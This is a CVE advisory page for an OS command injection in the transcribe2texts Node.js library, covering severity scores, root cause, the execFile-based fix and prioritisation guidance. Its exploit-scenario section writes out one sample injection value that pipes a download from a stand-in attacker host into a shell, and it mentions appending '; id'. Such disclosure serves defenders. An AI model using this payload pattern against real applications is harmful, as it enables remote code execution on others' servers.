Skip to main content

transcribe2texts CVE-2026-110643

| EUVDEUVD-2026-101271 CRITICAL
OS Command Injection (CWE-78)
2026-10-14 VulnCheck GHSA-j3hr-hcvv-fg84
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Supply crafted audioPath to transcribeAudio()
  2. Exploit
    Shell parses $()/backtick/quote in exec() command
  3. Impact
    Execute arbitrary commands with Node.js process privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that a consuming application call transcribeAudio() and pass attacker-influenced data as the audioPath argument; that value is concatenated unescaped into python3 "scriptPath" "modelPath" "audioPath" and executed via child_process.exec(), so any $(), backtick, or quote-breaking payload in the path is interpreted by the shell. No special library configuration is needed and no authentication or user interaction is enforced by the library itself. The principal LIMITING factor is reachability: this is a library sink, so exploitation is only possible where the integrating application feeds untrusted input into audioPath - applications that hardcode or strictly validate the path are not exposed. Commands run only with the privileges of the Node.js process. Fixed in the patched version using execFile with an argument array (no shell).

Impact

All exploitability signals point in one direction: the CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) describes network-reachable, low-complexity, unauthenticated exploitation with high confidentiality, integrity and availability impact to the vulnerable system (VC:H/VI:H/VA:H), consistent with a classic CWE-78 OS command injection and the 9.3 critical score. The vendor-confirmed patch (PR #1, replacing child_process.exec with execFile) and the GitHub source evidence corroborate the root cause, so the technical finding is high-confidence. However, several real-world-risk signals are MISSING and must not be presented as resolved: there is no EPSS score, no CISA KEV listing, and no indication of public exploit code in the input, so exploitation status is 'no public exploit identified at time of analysis.' A critical caveat tempers the AV:N rating: transcribe2texts is a Node.js LIBRARY, and audioPath is a function argument to transcribeAudio() - the vulnerability is only network-reachable if a downstream application feeds attacker-controlled input into that parameter. The CVSS:N/N/N therefore reflects a worst-case integration rather than a guaranteed remote exposure; verify whether the consuming application exposes audioPath to untrusted input. Net assessment: technically severe and trivially exploitable WHEN reachable, but real-world priority is tempered by the product's negligible deployment footprint and absence of any exploitation evidence - treat as a dependency-hygiene fix, not an emergency unless you ship this package in an exposed path.

Exploit ScenarioDerived

An application embeds transcribe2texts (≤1.0.6) and passes a user-supplied file path or filename into transcribeAudio(audioPath); an attacker submits a value such as foo.wav"; $(curl attacker.sh|sh) # so that the unescaped string is concatenated into the python3 command and run by child_process.exec(). Because the path is interpreted by a shell, the injected $(), backticks, or closing-quote payload executes arbitrary commands with the privileges of the Node.js process. No public exploit code is identified in the provided data, though the root cause is fully disclosed in the GitHub source and patch diff.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 2.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 14, 2026

OS command injection in the transcribe2texts Node.js library through version 1.0.6 lets unauthenticated remote attackers execute arbitrary shell commands with the privileges of the Node.js process by supplying crafted audioPath values to transcribeAudio(). The flaw is a library sink rather than a directly exposed service: it is exploitable only where an integrating application passes attacker-influenced data into audioPath, which is concatenated unescaped into a python3 command line and run through child_process.exec(); applications that hardcode or strictly validate that path are not exposed. The critical 9.3 (CVSS 4.0) severity reflects network-reachable, low-complexity, no-privilege, no-interaction exploitation with high confidentiality, integrity and availability impact to the host, and while an upstream fix exists, no public exploit code has been identified at time of analysis.

RemediationAI

Apply the vendor's upstream fix by updating to the patched transcribe2texts release once it is published; the fix is the change in GitHub PR #1 (https://github.com/kky-ykk/Transcribe2texts/pull/1), which replaces child_process.exec() with child_process.execFile('python3', [scriptPath, modelPath, audioPath]) so arguments bypass the shell entirely - note that a released patched version number is not independently confirmed, so verify the tag or revert to the commit containing the diff. If upgrading is not immediately possible, the highest-value compensating control is to stop any untrusted value from reaching audioPath: reject or rewrite paths using a strict allowlist (e.g., resolve to a fixed media directory, require a normalized absolute path with an expected extension) rather than attempting to escape shell metacharacters, since the quoting-based approach in the affected code is demonstrably bypassable via $(), backticks, or a closing double quote; this is brittle because new bypasses or alternate call sites may exist. Where untrusted paths must be accepted, run the transcription under a dedicated low-privilege account or container with no network access and read-only mounts, which limits the impact of a successful injection at the cost of added operational complexity and possible performance overhead. Additional context and the reporter's advisory are available at https://vulncheck.com/advisories/transcribe2texts-through-1.0.6-os-command-injection-via-transcribeaudio-audiopath.

Affected VersionsENISA

transcribe2texts 0 ≤1.0.6

Affected Packages

euvd transcribe2texts no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), realized in the library's transcribeAudio() helper at lib/index.js (lines 53-55), where the command string is built as python3 "${scriptPath}" "${modelPath}" "${audioPath}" and handed to Node.js child_process.exec(). Because exec() runs the string through a shell (/bin/sh -c on POSIX), wrapping audioPath in double quotes is not a defense: POSIX shells still perform $(...) and backtick command substitution inside double quotes, and an embedded " character closes the quoting context so an attacker can append arbitrary shell syntax such as ; id or a piped download. Any audioPath value that reaches this sink from untrusted input is therefore shell-interpreted and executed with the Node.js process's privileges. The vendor's fix in GitHub PR #1 removes the shell entirely by switching to child_process.execFile('python3', [scriptPath, modelPath, audioPath]), where each element is passed directly as an argv entry and no shell metacharacter parsing occurs; the diff also notes that quotes must not be re-added, since with execFile they would become literal characters in the argument. The CPE cpe:2.3:a:kky-ykk:transcribe2texts:*:*:*:*:*:*:*:* uses a wildcard version, consistent with the advisory's statement that all releases through 1.0.6 are affected.

Know when Transcribe2Texts gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Unescaped input reaches shell exec() with no auth or interaction in the library; AV:N/PR:N reflect worst-case reachability, S:U as code runs within the same Node.js process, full CIA impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

transcribe2texts through 1.0.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted audioPath values to transcribeAudio(). Attackers can inject $() or backtick substitution or a closing quote into the unescaped path passed to child_process.exec() to run commands with Node.js process privileges.

Executive ViewAI

Why It Matters

The transcribe2texts Node.js library (versions through 1.0.6) contains a critical OS command injection vulnerability that allows remote attackers to execute arbitrary shell commands on the host system. This affects any organization whose applications pass untrusted data into the library's audioPath parameter, potentially leading to full server compromise, data breach, and operational disruption. Leadership should prioritize immediate remediation because the vulnerability is network-reachable and carries a critical severity rating.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
2.6%
Top 15% exploitable
Prevalence
Rare
obscure single-maintainer npm package, negligible production footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 2.6%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: +3
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy